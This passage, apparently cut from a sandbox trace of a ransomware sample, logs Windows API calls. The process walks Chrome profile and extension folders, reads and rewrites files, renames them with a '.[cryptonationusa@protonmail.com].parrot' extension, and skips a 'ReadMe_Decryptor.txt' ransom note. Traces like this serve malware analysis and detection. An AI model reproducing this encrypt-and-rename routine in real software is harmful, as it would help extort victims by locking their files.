lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0075.180] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.180] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3e39, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18dd34*=0x3e39, lpOverlapped=0x0) returned 1 [0075.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0075.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a7fe8 [0075.181] GetLastError () returned 0x0 [0075.182] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0075.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0075.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0075.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0075.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0075.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0075.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0075.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0075.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0075.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0075.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0075.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0075.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cff58 [0075.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d0140 [0075.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x317c098 [0075.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0140 | out: hHeap=0x5b0000) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cff58 [0075.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317c098 | out: hHeap=0x5b0000) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x317c098 [0075.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x317ca00 [0075.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317c098 | out: hHeap=0x5b0000) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x317d818 [0075.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317ca00 | out: hHeap=0x5b0000) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x317ed58 [0075.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317d818 | out: hHeap=0x5b0000) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3180d20 [0075.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317ed58 | out: hHeap=0x5b0000) returned 1 [0075.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x317c098 [0075.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3180d20 | out: hHeap=0x5b0000) returned 1 [0075.183] WriteFile (in: hFile=0x28c, lpBuffer=0x317c0a0*, nNumberOfBytesToWrite=0x3f58, lpNumberOfBytesWritten=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x317c0a0*, lpNumberOfBytesWritten=0x18dd34*=0x3f58, lpOverlapped=0x0) returned 1 [0075.184] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317c098 | out: hHeap=0x5b0000) returned 1 [0075.184] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f51, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.184] CloseHandle (hObject=0x28c) returned 1 [0075.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5cce70 [0075.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f6) returned 0x5cff58 [0075.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce70 | out: hHeap=0x5b0000) returned 1 [0075.185] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3189a80 | out: hHeap=0x5b0000) returned 1 [0075.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178058 | out: hHeap=0x5b0000) returned 1 [0075.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669388 [0075.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5cce70 [0075.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0075.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0075.188] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0075.189] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba4bb260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba4bb260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.189] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x839fe880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba448e40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x73b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="COMPUT~1.PAR")) returned 1 [0075.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0075.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0075.190] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0075.190] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9c1a2a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9c1a2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.191] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83637bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8363f0f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb97a3960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x8c1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="angular.js.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ANGULA~1.PAR")) returned 1 [0075.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0075.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0075.191] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0075.191] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.192] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9c1a2a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9c1a2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5817.313.0.5_0", cAlternateFileName="581731~1.5_0")) returned 1 [0075.192] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9c1a2a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9c1a2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5817.313.0.5_0", cAlternateFileName="581731~1.5_0")) returned 0 [0075.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689260 | out: hHeap=0x5b0000) returned 1 [0075.192] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0075.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d268 | out: hHeap=0x5b0000) returned 1 [0075.192] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 0 [0075.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x2240f30 [0075.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x68b260 [0075.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0075.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b378 | out: hHeap=0x5b0000) returned 1 [0075.192] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0075.194] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0075.194] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.195] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aapocclcgogkmnckokdopfmhonfmgoek", cAlternateFileName="AAPOCC~1")) returned 1 [0075.195] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aohghmighlieiainnegkcijnfilokake", cAlternateFileName="AOHGHM~1")) returned 1 [0075.195] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="apdfllckaahabafndbhieahigkjlhalf", cAlternateFileName="APDFLL~1")) returned 1 [0075.195] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="blpcfgokakmgnkcojhhkbfbldkacnbeo", cAlternateFileName="BLPCFG~1")) returned 1 [0075.195] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="felcaaldnbdncclmgdcncolpebgiejap", cAlternateFileName="FELCAA~1")) returned 1 [0075.195] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1 [0075.195] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82abeb90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82abeb90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nmmhkkegccagdldgiimedpiccmgmieda", cAlternateFileName="NMMHKK~1")) returned 1 [0075.195] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjkljhegncpnkpknbcohdijeoejaedia", cAlternateFileName="PJKLJH~1")) returned 1 [0075.195] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1 [0075.195] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 0 [0075.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b260 | out: hHeap=0x5b0000) returned 1 [0075.195] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0075.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0075.196] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cce2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80cce2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80db2b00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons", cAlternateFileName="")) returned 1 [0075.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0075.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.196] lstrcmpW (lpString1="Favicons", lpString2="ReadMe_Decryptor.txt") returned -1 [0075.196] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\favicons"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0075.196] GetFileSize (in: hFile=0x278, lpFileSizeHigh=0x18e970 | out: lpFileSizeHigh=0x18e970*=0x0) returned 0x5000 [0075.196] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5118, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.196] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.196] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.198] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.198] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x5000, lpOverlapped=0x0) returned 1 [0075.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.199] RtlAllocateHeap (HeapHandle=0x5b0000, 